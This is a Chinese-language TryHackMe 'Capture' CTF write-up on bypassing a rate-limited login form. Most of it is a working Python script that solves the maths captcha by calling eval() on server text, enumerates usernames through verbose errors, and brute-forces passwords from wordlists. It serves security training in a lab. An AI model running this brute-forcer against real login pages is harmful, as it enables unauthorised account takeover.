Capture: TryHackMe CTF Writeup | 登录绕过
在本篇文章中,我们将绕过易受攻击的Web应用程序的登录表单,并使用Python脚本自动化整个过程。
房间信息
- 房间链接:https://tryhackme.com/room/capture
- 房间描述:SecureSolaCoders再次开发了一个Web应用程序。他们对黑客枚举和利用之前的登录表单感到厌倦。他们认为Web应用程序防火墙(WAF)过于夸张且不必要,因此开发了自己的速率限制器并稍微修改了代码。
准备阶段
- 启动目标机器并下载任务文件
- 启动攻击箱
- 连接到TryHackMe网络
下载任务文件
分析任务文件
下载并解压缩任务文件后,包含以下内容:
- username.txt
- passwords.txt
从以上文件可以看出,任务是对登录页面进行暴力破解,找到正确的凭据。
理解登录页面功能
首次访问IP地址时,可能会遇到以下网页:
登录页面
尝试使用任务文件中的多个错误凭据(username.txt和password.txt)后,启用了验证码以防止暴力攻击:
启用验证码
因此,我们需要每次解决验证码来验证用户名和密码。让我们在BurpSuite中捕获此请求:
BurpSuite中捕获的POST请求
可以看到POST请求包含的参数,很明显我们需要在每个请求中传递这三个参数来验证用户名和密码。
编码过程
为了自动化这个过程,我开发了自定义的Python脚本来找到正确的凭据。以下是Python脚本的代码片段以及脚本中使用的每个函数的解释:
1. 导入必要的库
1
2
3
4
5
6
7
8
9
|
import sys
import requests
import urllib3
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
s=requests.session()
reg_pattern= r'\d{1,}\s(.)\s\d{1,}'
|
import sys:提供对系统参数的访问,允许用户与程序交互,例如从用户获取参数值
import requests:处理Web请求和服务器响应
import urllib3:处理URL
import re:使用正则表达式工具匹配特定模式
proxies变量包含Web代理服务器的值,本例中使用BurpSuite
reg_pattern是从响应中提取验证码值并对其执行操作的模式
2. 从响应中提取验证码
1
2
3
4
5
6
|
def get_captcha(url):
data= {'username':'test','password':'testpass'} #缺少验证码
res=s.post(url=url, proxies=proxies, verify=False, data=data)
challenge=re.search(reg_pattern, res.text)
solution=eval(challenge.group().strip())
return solution
|
此函数用于发出Web请求,并使用内置的eval()函数解决响应中的验证码挑战。
3. 枚举用户名
从响应中可以看到,网站显示"用户rachel不存在",而不是"用户名或密码无效"。这种不恰当的响应允许攻击者枚举用户名:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
def user_enum(url,user_list,captcha):
print("(+) Enumerating users...")
with open(user_list, 'r') as file:
for username in file:
username = username.strip()
if username:
data={'username':username,'password':'testpass','captcha':captcha}
res=s.post(url=url, proxies=proxies, verify=False, data=data)
if "does not exist" in res.text:
print(username)
elif "Invalid captcha" in res.text:
print("[-] Invalid captcha")
else:
print(f"[+] Username found: {username}")
return username, captcha
challenge=re.search(reg_pattern, res.text)
captcha=eval(challenge.group().strip())
|
4. 枚举密码
找到有效用户名后,调用pass_enum函数来枚举密码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
def pass_enum(url, username, pass_list, captcha):
print("(+) Enumerating password...")
with open(pass_list, 'r') as file:
for password in file:
password = password.strip()
if password:
data= {'username':username,'password':password,'captcha':captcha}
res=requests.post(url=url, proxies=proxies, verify=False, data=data)
if "Invalid password" in res.text:
print(f"{username}:{password}")
elif "Invalid captcha" in res.text:
print("[-] Invalid captcha")
else:
print(f"[+] Password found: {password}")
return password
challenge=re.search(reg_pattern, res.text)
captcha=eval(challenge.group().strip())
|
主函数
从用户输入所需的值并按需调用函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
if __name__ == "__main__":
if len(sys.argv)!=4:
print("[+] Usage: %s URL path_to_user_wordlist path_to_pass_wordlist" %sys.argv[0])
print("[+] Example: %s http://10.201.118.234/login users.txt pass.txt" %sys.argv[0])
sys.exit(-1)
url=sys.argv[1].strip()
user_list=sys.argv[2].strip()
pass_list=sys.argv[3].strip()
for i in range(0,10): #触发速率限制,验证码挑战
params={'username':'test', 'password':'test'}
res=requests.post(url=url, data=params, verify=False, proxies=proxies)
if "Invalid captcha" in res.text:
break
captcha=get_captcha(url)
username,captcha=user_enum(url,user_list,captcha)
password=pass_enum(url,username,pass_list,captcha)
print(f"[+] Credentials {username}:{password}")
|
您可以使用以下Python脚本自动化过程并找到有效的凭据:
WebHacking_Playground/Auth_bypass/Capture/script.py at main · HuzaifaxMalik/WebHacking_Playground
现在运行脚本:
运行中的脚本
注意:在执行此脚本之前,请保持BurpSuite运行,因为此脚本需要Web代理工具在端口8080上监听。
找到的凭据
使用上面找到的凭据登录网页,这里是flag.txt:
找到的"flag"
这就是结束 :)
如果您想要更多Web黑客技术和CTF实验室文章,请在Medium上关注我以获取详细的Write-up。
在LinkedIn(https://www.linkedin.com/in/huzaifa-x-malik)上与我联系进行专业讨论。
您也可以加入我的X(https://www.x.com/Huzaifa_X_Malik)获取攻击性安全世界的快速提示、技术和想法。